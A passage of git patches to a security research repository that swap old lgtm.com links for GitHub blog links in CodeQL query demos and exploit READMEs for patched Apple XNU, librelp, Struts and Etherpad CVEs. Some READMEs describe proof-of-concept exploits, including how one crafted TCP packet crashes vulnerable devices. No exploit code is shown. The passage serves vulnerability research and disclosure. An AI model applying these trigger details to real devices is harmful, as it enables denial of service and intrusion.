of the demo is developed in steps, starting with `01_paths_to_icmp_error.ql`. +There are two parts to this demo. The first part is `00_mbuf_copydata_tainted_size.ql`, which is the dataflow query that found the bug. It is explained in detail in [this blog post](https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/). The problem with this query is that it does not find the true source of the untrusted data. This is because it assumes that any call to the function named `m_mtod` can return untrusted data. But not every `mbuf` contains untrusted data. So the second part of the demo, corresponding to [this blog post](https://github.blog/category/security/apple-xnu-exploit-icmp-poc/), is to use dataflow analysis to find a path that gets an untrusted `mbuf` into `icmp_error`. The second part of the demo is developed in steps, starting with `01_paths_to_icmp_error.ql`. diff --git a/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md b/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md index 58bc6be..b0039e9 100644 --- a/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md +++ b/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md @@ -1,4 +1,4 @@ -https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904 +https://github.blog/category/security/CVE-2018-4249-apple-xnu-packet-mangler/ There were multiple bugs in `packet_mangler.c`. One of the infinite loop bugs was fixed in macOS High Sierra 10.13.2. The other bugs were fixed in macOS High Sierra 10.13.5. @@ -8,6 +8,6 @@ For a demo, the best query to show is `tcphdr_mbuf_copydata.ql`, because it show `InfiniteLoop.ql` is a query inspired by one of the bugs in this code: the loop might not terminate because the loop counter is updated with a compound assignment (`+=`). We wrote an exploit which causes the right hand side of the assignment to be zero, which means that the loop runs forever. -All three queries find results in [this snapshot](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/XNU-revision-2017-June-13--15-52-38.zip) (macOS 10.13). +All three queries find results in [this snapshot](https://github.com/github/securitylab/releases/download/xnu-macos10.13-codeql-database/XNU-revision-2017-June-13--15-52-38.zip) (macOS 10.13). -The queries also find results in [this newer snapshot for 10.13.3](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/xnu-4570.41.2_macOS-10.13.3_Semmle-1.16.1.zip). Apple thought they had fixed the infinite loop bug in 10.13.2, by changing the loop condition to a `>`. They were wrong. +The queries also find results in [this newer snapshot for 10.13.3](https://github.com/github/securitylab/releases/download/xnu-macos10.13.3-codeql-database/xnu-4570.41.2_macOS-10.13.3_Semmle-1.16.1.zip). Apple thought they had fixed the infinite loop bug in 10.13.2, by changing the loop condition to a `>`. They were wrong. diff --git a/CodeQL_Queries/cpp/libjpeg-turbo-oob/README.md b/CodeQL_Queries/cpp/libjpeg-turbo-oob/README.md index 8e08a09..6605aa1 100644 --- a/CodeQL_Queries/cpp/libjpeg-turbo-oob/README.md +++ b/CodeQL_Queries/cpp/libjpeg-turbo-oob/README.md @@ -2,7 +2,7 @@ This is demo is an example of variant analysis on a recent [bugfix](https://gith The fix prevents an out-of-bounds access when processing malformed BMP files: when reading a BMP file, the library allocates a colour map based on the number of colours declared in the BMP header. Later on, individual bytes are read from the file and used as indices into this colour map. Previously, this was done without checking whether the byte actually represented a valid colour, which could cause an out-of-bounds access. The fix introduces a field in the same struct as the colour map that records its size, and checks the index against it, aborting with an error if the index is out of range. -A snapshot of libjpeg-turbo from before the fix is [here](https://downloads.lgtm.com/snapshots/cpp/libjpeg-turbo/libjpeg-turbo-revision-0fa7850aeb273204acd57be11f328b2be5d97dc6.zip), and one that contains the fix is [here](https://downloads.lgtm.com/snapshots/cpp/libjpeg-turbo/libjpeg-turbo-revision-d5f281b734425fc1d930ff2c3f8441aad731343e.zip). +A snapshot of libjpeg-turbo from before the fix is [here](https://github.com/github/securitylab/releases/download/lipjpeg-turbo-codeql-database/libjpeg-turbo-revision-0fa7850aeb273204acd57be11f328b2be5d97dc6.zip), and one that contains the fix is [here](https://github.com/github/securitylab/releases/download/lipjpeg-turbo-codeql-database-patched/libjpeg-turbo-revision-d5f281b734425fc1d930ff2c3f8441aad731343e.zip). The first five QL files develop a query that flags exactly the fixed accesses on the former snapshot, and nothing on the latter; the last query is a generalisation that finds a new instance of the same problem. All queries are run on the fixed snapshot, except when stated otherwise. @@ -11,6 +11,6 @@ The first five QL files develop a query that flags exactly the fixed accesses on - 02b_find_guarded_colormap_index_working.ql: The previous query doesn't actually work, since `ERREXIT` isn't recognised as being a non-returning macro. This query fixes that. - 03_find_unguarded_colormap_index.ql: Flipping the logic around, we now look for _unguarded_ indexing. This gives a few false positives in cases where `cmap_length` isn't used. There is still a guard in these cases, but it's against a parameter that happens to contain the size of the colour map. - 04_find_unguarded_colormap_no_fps.ql: Add inter-procedural tracking to reason about the flow of colour maps and their sizes. This eliminates the remaining FPs on the fixed snapshot, and gives the expected results on the original snapshot. - - 05_find_unguarded_colormap_generalised.ql: By removing the hardcoded references to `_bmp_source_struct`, we get a more general query that looks for other unguarded indexes into colour maps. This gives yet more false positives, since there are a few other guarding patterns, but the first three results are actually true positives, which we [reported](https://github.com/libjpeg-turbo/libjpeg-turbo/issues/295). A snapshot with these results fixed is available [here](https://downloads.lgtm.com/snapshots/cpp/libjpeg-turbo/libjpeg-turbo-revision-d00d7d8c194e587ed10a395e0f307ce9dddf5687.zip). + - 05_find_unguarded_colormap_generalised.ql: By removing the hardcoded references to `_bmp_source_struct`, we get a more general query that looks for other unguarded indexes into colour maps. This gives yet more false positives, since there are a few other guarding patterns, but the first three results are actually true positives, which we [reported](https://github.com/libjpeg-turbo/libjpeg-turbo/issues/295). A snapshot with these results fixed is available [here](https://github.com/github/securitylab/releases/download/lipjpeg-turbo-codeql-database-patched/libjpeg-turbo-revision-d00d7d8c194e587ed10a395e0f307ce9dddf5687.zip). Note that the final query is somewhat non-trivial (>100 LoC, uses global value numbering, guards and inter-procedural flow), so it's perhaps best used with an audience that has seen some simple QL before. diff --git a/CodeQL_Queries/cpp/libssh2_eating_error_codes/README.md b/CodeQL_Queries/cpp/libssh2_eating_error_codes/README.md index 2c2a630..4b595a5 100644 --- a/CodeQL_Queries/cpp/libssh2_eating_error_codes/README.md +++ b/CodeQL_Queries/cpp/libssh2_eating_error_codes/README.md @@ -1,9 +1,9 @@ # Eating error codes in libssh2 -Download this [snapshot](https://downloads.lgtm.com/snapshots/cpp/libssh2/libssh2_libssh2_C_C++_38bf7ce.zip) for the demo. +Download this [snapshot](https://github.com/github/securitylab/releases/download/libssh2-codeql-database/libssh2_libssh2_C_C++_38bf7ce.zip) for the demo. This demo shows how to develop, step-by-step, the query from the [blog post](https://blog.semmle.com/libssh2-integer-overflow/) about libssh2 CVE-2019-13115. This query did not find the bug that caused the CVE. It is instead about doing variant analysis on a bug that we noticed on the development branch of libssh2. We sent the query results to the libssh2 development team and they were able to fix all the variants before the next version of libssh2 was released. -[This](https://lgtm.com/projects/g/libssh2/libssh2/snapshot/6e2f5563c80521b3cde72a6fcdb675c2e085f9cf/files/src/hostkey.c?sort=name&dir=ASC&mode=heatmap&__hstc=70225743.5fa8704c8874c6eafaef219923a26734.1534954774206.1564532078978.1564925733575.72&__hssc=70225743.2.1565139962633&__hsfp=997709570#L677) is an example of the bug. The problem is that `_libssh2_get_c_string` returns a negative integer as an error code, but the type of `r_len` is `unsigned int`, so the error code is accidentally ignored. +The problem is that `_libssh2_get_c_string` returns a negative integer as an error code, but the type of `r_len` is `unsigned int`, so the error code is accidentally ignored. For a shorter demo, stop at step 02. Steps 03 and 04 make the query more sophisticated by adding local data flow and range analysis. diff --git a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md index 36c17f5..ee53f5c 100644 --- a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md +++ b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md @@ -1,5 +1,5 @@ -[Blog post](https://lgtm.com/blog/rsyslog_snprintf_CVE-2018-1000140). +[Blog post](https://github.blog/category/security/librelp-buffer-overflow-cve-2018-1000140/). -This bug was found by one of our [default queries](https://lgtm.com/rules/1505913226124/). However, it also makes a good example of using QL interactively. The queries in this directory show how you can interactively develop the query. +This bug was found by one of [CodeQL](https://codeql.github.com/) default queries. However, it also makes a good example of using QL interactively. The queries in this directory show how you can interactively develop the query. -Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/rsyslog/rsyslog/rsyslog-all-revision-2018-April-27--14-12-31.zip). +Use [this snapshot](https://github.com/github/securitylab/releases/download/rsyslog-codeql-database/rsyslog-all-revision-2018-April-27--14-12-31.zip). diff --git a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/Video/rsyslog.srt b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/Video/rsyslog.srt index f18de68..bf1f72b 100644 --- a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/Video/rsyslog.srt +++ b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/Video/rsyslog.srt @@ -1168,7 +1168,7 @@ which is now included 285 00:16:24,478 --> 00:16:28,858 -in our default suite on lgtm.com. +in our default suite on lgtm.com (NOW DEPRECATED). 286 00:16:29,340 --> 00:16:32,231 diff --git a/CodeQL_Queries/csharp/ZipSlip/README.md b/CodeQL_Queries/csharp/ZipSlip/README.md index 03822bb..3d5209d 100644 --- a/CodeQL_Queries/csharp/ZipSlip/README.md +++ b/CodeQL_Queries/csharp/ZipSlip/README.md @@ -2,7 +2,7 @@ ## Snapshot -Use [this snapshot](http://downloads.lgtm.com/snapshots/csharp/microsoft/powershell/PowerShell_PowerShell_csharp-srcVersion_450d884668ca477c6581ce597958f021fac30bff-dist_odasa-lgtm-2018-09-11-e5cbe16-linux64.zip) +Use [this snapshot](https://github.com/github/securitylab/releases/download/powershell-codeql-database/PowerShell_PowerShell_csharp-srcVersion_450d884668ca477c6581ce597958f021fac30bff-dist_odasa-lgtm-2018-09-11-e5cbe16-linux64.zip) of PowerShell. ## Introduction @@ -15,14 +15,12 @@ they had written a basic query and run it against a number of critical codebases Because Semmle has a close working relationship with Microsoft, we then helped Microsoft to refine that query further and submit it as a [pull request](https://github.com/Semmle/ql/pull/54) against our open source QL repository. -It was deployed to [LGTM.com](https://lgtm.com) within 2 weeks where it was run over thousands of open source C# projects. +It was deployed to the now deprecated LGTM website within 2 weeks where it was run over thousands of open source C# projects. -Here are some [sample results](https://lgtm.com/rules/1506511188430/alerts/) for the ZipSlip query. -One of those projects was Microsoft PowerShell. +The CodeQL ZipSlip query found a vulnerability in Microsoft PowerShell. As a result of this query, [a senior Microsoft engineer](https://github.com/TravisEz13) -fixed this vulnerability in November 2018 in -[this PR](https://lgtm.com/projects/g/PowerShell/PowerShell/rev/b39a41109d86d9ba75f966e2d7b52b81fa629150). +fixed this vulnerability in November 2018. So how did they do it? @@ -48,5 +46,24 @@ This uses a global taint tracking configuration. # Final query -The [final query](https://lgtm.com/rules/1506511188430/) includes query help, and identifies various other sources and sinks, -but uses the same general structure. It also includes metadata for LGTM. +The final query below includes query help, and identifies various other sources and sinks, +but uses the same general structure. + +```ql +using System.IO; +using System.IO.Compression; +class Good +{ + public static void WriteToDirectory(ZipArchiveEntry entry, + string destDirectory) + { + string destFileName = Path.GetFullPath(Path.Combine(destDirectory, entry.FullName)); + string fullDestDirPath = Path.GetFullPath(destDirectory + Path.DirectorySeparatorChar); + if (!destFileName.StartsWith(fullDestDirPath)) { + throw new System.InvalidOperationException("Entry is outside the target dir: " + + destFileName); + } + entry.ExtractToFile(destFileName); + } +} +``` diff --git a/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md b/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md index 99db29e..5b32d6c 100644 --- a/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md +++ b/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md @@ -1,6 +1,6 @@ -[Blog post](https://lgtm.com/blog/apache_struts_CVE-2017-9805) +[Blog post](https://github.blog/category/security/apache-struts-vulnerability-cve-2017-9805/) -[This snapshot](https://downloads.lgtm.com/snapshots/java/apache/struts/apache-struts-91ae344-CVE-2017-9805.zip) has the bug. Also, Mo has greated a copy of the project so that you can see [the result](https://lgtm.com/projects/g/mmosemmle/struts_9805/alerts/?mode=list&id=java%2Funsafe-deserialization) on [lgtm.com](https://lgtm.com/projects/g/mmosemmle/struts_9805). +[This snapshot](https://github.com/github/securitylab/releases/download/apache-struts-codeql-database/apache-struts-91ae344-CVE-2017-9805.zip) has the bug. This directory contains a copy of `UnsafeDeserialization.qll`, because I get a syntax error when I try to do `import Security.CWE.CWE-502.UnsafeDeserialization`. diff --git a/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md b/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md index eb5e7bd..bd6e664 100644 --- a/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md +++ b/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md @@ -1,8 +1,8 @@ # Apache Struts CVE-2018-11776 -[Blog post](https://lgtm.com/blog/apache_struts_CVE-2018-11776) +[Blog post](https://github.blog/category/security/apache-struts-CVE-2018-11776/) -[This snapshot](https://downloads.lgtm.com/snapshots/java/apache/struts/apache-struts-7fd1622-CVE-2018-11776.zip) has the bug. +[This snapshot](https://github.com/github/securitylab/releases/download/apache-struts-CVE-2018-11776-codeql-database/apache-struts-7fd1622-CVE-2018-11776.zip) has the bug. The queries in this directory are slightly simplified to make the demo easier to follow. As a result, they don't find as many variants as the query described in the blog post. The full query can be found [here](https://github.com/Semmle/SecurityQueries/blob/e5c2be7d5eec46cd5a4a8ebdbe8cb63be2e36665/semmle-security-java/queries/struts/cve_2018_11776/final.ql). diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/06_DataFlow_With_Sanitizer.ql b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/06_DataFlow_With_Sanitizer.ql index 55e2e08..9bc5cf4 100644 --- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/06_DataFlow_With_Sanitizer.ql +++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/06_DataFlow_With_Sanitizer.ql @@ -89,10 +89,7 @@ class IsVarNameSanitizer extends TaintTracking::AdditionalSanitizerGuardNode, Da } } -// The vulnerability was fixed on 2018-03-23 by adding a call to isValidJSONPName: -// -// https://lgtm.com/projects/g/ether/etherpad-lite/rev/dd7894d3c9389a000d11d3a89962d9fcc9c6c44b -// +// The vulnerability was fixed on 2018-03-23 by adding a call to isValidJSONPName. // This version of the query adds a sanitizer to exclude those results. from Configuration xss, DataFlow::PathNode source, DataFlow::PathNode sink where xss.hasFlowPath(source, sink) diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md index 95a12a7..ca4dff7 100644 --- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md +++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md @@ -1,5 +1,5 @@ -[Blog post](https://lgtm.com/blog/etherpad_CVE-2018-6835) +[Blog post](https://github.blog/category/security/etherpad-reflected-file-download/) -[This snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_1.6.2.zip) has the vulnerability. +[This snapshot](https://github.com/github/securitylab/releases/download/etherpad-vulnerable-codeql-database/Etherpad_1.6.2.zip) has the vulnerability. -For the final query, which shows how to detect the sanitization function after the bug was fixed, use [this snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_42e0646327527ff0db7bcbd93fb9d16ff738905b.zip). +For the final query, which shows how to detect the sanitization function after the bug was fixed, use [this snapshot](https://github.com/github/securitylab/releases/download/etherpad-patched-codeql-database/Etherpad_42e0646327527ff0db7bcbd93fb9d16ff738905b.zip). diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md index 96ee549..fe520f4 100644 --- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md +++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md @@ -1,8 +1,8 @@ This is an alternative presentation of the query from the blog post about -[Detecting Reflected File Download vulnerabilities using QL](https://lgtm.com/blog/etherpad_CVE-2018-6835), +[Detecting Reflected File Download vulnerabilities using QL](https://github.blog/category/security/etherpad-reflected-file-download/), phrasing it as a customization of Semmle's standard Reflected XSS query. -Use [this snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_1.6.2.zip) (etherpad-lite v1.6.2) +Use [this snapshot](https://github.com/github/securitylab/releases/download/etherpad-vulnerable-codeql-database/Etherpad_1.6.2.zip) (etherpad-lite v1.6.2) for the initial stages of the development. All snapshots were built using version 1.9.3 of the Semmle toolchain; if you are using 1.20 or newer you will need to upgrade them. @@ -24,13 +24,13 @@ for the initial stages of the development. All snapshots were built using versio The developers [fixed](https://github.com/ether/etherpad-lite/commit/a2992b3) the vulnerability by introducing a sanitizer using the [is-var-name](https://www.npmjs.com/package/is-var-name) npm package. -[This snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_a2992b3.zip) corresponds to the fix commit. +[This snapshot](https://github.com/github/securitylab/releases/tag/etherpad-patched-codeql-database) corresponds to the fix commit. The standard library does not include a model for `is-var-name` (it is not a very widely used package), but [07_ReflectedXssWithSanitizer.ql](07_ReflectedXssWithSanitizer.ql) shows that it is very easy to add, making the result go away. Later on, this sanitizer was [replaced](https://github.com/ether/etherpad-lite/commit/dd7894d) with a custom sanitizer, which is, -unfortunately, ineffective. ([This snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_1.6.4.zip) +unfortunately, ineffective. ([This snapshot](https://github.com/github/securitylab/releases/download/etherpad-1.6.4-patched-codeql-database/Etherpad_1.6.4.zip) of etherpad-lite v1.6.4 contains the new sanitizer.) However, all browsers mitigate against reflected file download vulnerabilities these days, so while the vulnerability still exists, it is no longer exploitable. diff --git a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md index 109c6cf..da1c15b 100644 --- a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md +++ b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md @@ -1,4 +1,4 @@ -For more information about this exploit PoC, see the [blog post](https://lgtm.com/blog/apple_xnu_dtrace_CVE-2017-13782). +For more information about this exploit PoC, see the [blog post](https://github.blog/category/security/apple-xnu-dtrace-CVE-2017-13782/). This exploit PoC is designed for macOS High Sierra version 10.13. Apple released a patch on [Oct 31, 2017](https://support.apple.com/en-us/HT208221). diff --git a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c index 9b03e1c..10802c0 100644 --- a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c +++ b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c @@ -2,7 +2,7 @@ * Copyright Kevin Backhouse / Semmle Ltd (2017) * License: Apache License 2.0 * - * For more information: https://lgtm.com/blog/apple_xnu_dtrace_cve-2017-13782 + * For more information: https://github.blog/category/security/ */ #include #include diff --git a/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md b/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md index 1dfd364..5515cce 100644 --- a/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md +++ b/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md @@ -2,7 +2,7 @@ Proof-of-concept exploit for a remotely triggerable heap buffer overflow vulnerability in iOS 11.4.1 and macOS 10.13.6. This exploit can be used to crash any vulnerable iOS or macOS device that is connected to the same network as the attacker's computer. The vulnerability can be triggered without any user interaction on the victim's device. The exploit involves sending a TCP packet with non-zero options in the IP and TCP headers. It is possible that some routers or switches will refuse to deliver such packets, but it has worked for me on all the home and office networks that I have tried it on. However, I have found that it is not usually possible to send the malicious packet across the internet. -For more information about the vulnerability, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407). +For more information about the vulnerability, see the [blog post](https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/). The buffer overflow is in this code [bsd/netinet/ip_icmp.c:339](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L339): diff --git a/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md b/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md index dc692ac..9c9de96 100644 --- a/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md +++ b/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md @@ -2,7 +2,7 @@ This directory contains a minimal [NFS](https://en.wikipedia.org/wiki/Network_File_System) server. It only implements a very small subset of the [NFS protocol](https://www.ietf.org/rfc/rfc1813.txt): just enough to trigger one of the buffer overflow vulnerabilities in the macOS XNU operating system kernel. The vulnerabilities were fixed in macOS version [10.13.6](https://support.apple.com/en-gb/HT208937). -For more details about the vulnerabilities, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_nfs_vfsops_CVE-2018-4259). +For more details about the vulnerabilities, see the [blog post](https://github.blog/category/security/cve-2018-4259-macos-nfs-vulnerability/). To compile and run (on Linux): diff --git a/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md b/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md index ea94b42..1a4e6a7 100644 --- a/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md +++ b/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md @@ -4,4 +4,4 @@ Proof-of-concept exploit for remote code execution vulnerability in the packet-m Update: Apple's fix for the infinite loop bug was incomplete. The fix for CVE-2018-4460 was released on December 5, 2018. -For details on how to compile and run this exploit, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904). +For details on how to compile and run this exploit, see the [blog post](https://github.blog/category/security/CVE-2018-4249-apple-xnu-packet-mangler/). diff --git a/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md b/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md index fe05459..bfdae3f 100644 --- a/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md +++ b/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md @@ -2,4 +2,4 @@ This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [librelp](https://www.rsyslog.com/librelp/). The vulnerability was fixed in librelp version [1.2.15](https://www.rsyslog.com/librelp-1-2-15/), released on 2018-03-22. -For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [LGTM blog](https://lgtm.com/blog/rsyslog_snprintf_CVE-2018-1000140). +For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [blog](https://github.blog/category/security/librelp-buffer-overflow-cve-2018-1000140/). From a29b9b8c90fd7224cdde5d1233a16ac0f7371c7b Mon Sep 17 00:00:00 2001 From: Joseph Katsioloudes Date: Wed, 30 Nov 2022 22:12:32 +0000 Subject: [PATCH 090/140] Apply suggestions from code review Co-authored-by: Xavier RENE-CORAIL --- CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md | 2 +- CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md | 2 +- .../cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md | 2 +- .../00_mbuf_copydata_tainted_size.ql | 2 +- CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md | 2 +- CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md | 2 +- CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md | 2 +- CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md | 2 +- CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md | 2 +- CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md | 2 +- .../javascript/Etherpad_CVE-2018-6835/alternative/README.md | 2 +- .../apple/darwin-xnu/DTrace/CVE-2017-13782/README.md | 2 +- .../apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c | 1 - .../apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md | 2 +- .../apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md | 2 +- .../apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md | 2 +- .../rsyslog/CVE-2018-1000140_snprintf_librelp/README.md | 2 +- 17 files changed, 16 insertions(+), 17 deletions(-) diff --git a/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md b/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md index 9955967..5deeddc 100644 --- a/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md +++ b/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md @@ -1,4 +1,4 @@ -[Blog post](https://github.blog/category/security/stack-buffer-overflow-qualcomm-msm/) +[Blog post](https://securitylab.github.com/research/stack-buffer-overflow-qualcomm-msm/) [Snapshot for this demo](https://github.com/github/securitylab/releases/download/qualcomm-msm-codeql-database/msm-4.4-revision-2017-May-07--08-33-56.zip) diff --git a/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md b/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md index fe8c552..042a1df 100644 --- a/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md +++ b/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md @@ -1,4 +1,4 @@ -[Blog post](https://github.blog/category/security/apple-xnu-dtrace-CVE-2017-13782/) +[Blog post](https://securitylab.github.com/research/apple-xnu-dtrace-CVE-2017-13782/) Bug was fixed in [macOS High Sierra 10.13.1](https://support.apple.com/en-us/HT208221). diff --git a/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md b/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md index c0151de..d8abe1c 100644 --- a/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md +++ b/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md @@ -1,4 +1,4 @@ -[Blog post](https://github.blog/category/security/apple-xnu-nfs-boot/) +[Blog post](https://securitylab.github.com/research/apple-xnu-nfs-boot/) Bug was fixed in [macOS High Sierra 10.13.4](https://support.apple.com/en-gb/HT208692). diff --git a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql index 29ecd05..8a11f96 100644 --- a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql +++ b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql @@ -10,7 +10,7 @@ /* * This query is explained in detail in this blog post: * - * https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/ + * https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407/ * * It is based on the assumption that the function `m_mtod`, which returns * a pointer to the data stored in an `mbuf`, often returns a buffer diff --git a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md index 9ec2dfe..adbf857 100644 --- a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md +++ b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md @@ -2,4 +2,4 @@ Use [this snapshot](https://github.com/github/securitylab/releases/download/xnu-macos10.13.6-codeql-database/xnu-4570.71.2_macOS-10.13.6_Semmle-1.18.0.zip) for the demo. -There are two parts to this demo. The first part is `00_mbuf_copydata_tainted_size.ql`, which is the dataflow query that found the bug. It is explained in detail in [this blog post](https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/). The problem with this query is that it does not find the true source of the untrusted data. This is because it assumes that any call to the function named `m_mtod` can return untrusted data. But not every `mbuf` contains untrusted data. So the second part of the demo, corresponding to [this blog post](https://github.blog/category/security/apple-xnu-exploit-icmp-poc/), is to use dataflow analysis to find a path that gets an untrusted `mbuf` into `icmp_error`. The second part of the demo is developed in steps, starting with `01_paths_to_icmp_error.ql`. +There are two parts to this demo. The first part is `00_mbuf_copydata_tainted_size.ql`, which is the dataflow query that found the bug. It is explained in detail in [this blog post](https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407/). The problem with this query is that it does not find the true source of the untrusted data. This is because it assumes that any call to the function named `m_mtod` can return untrusted data. But not every `mbuf` contains untrusted data. So the second part of the demo, corresponding to [this blog 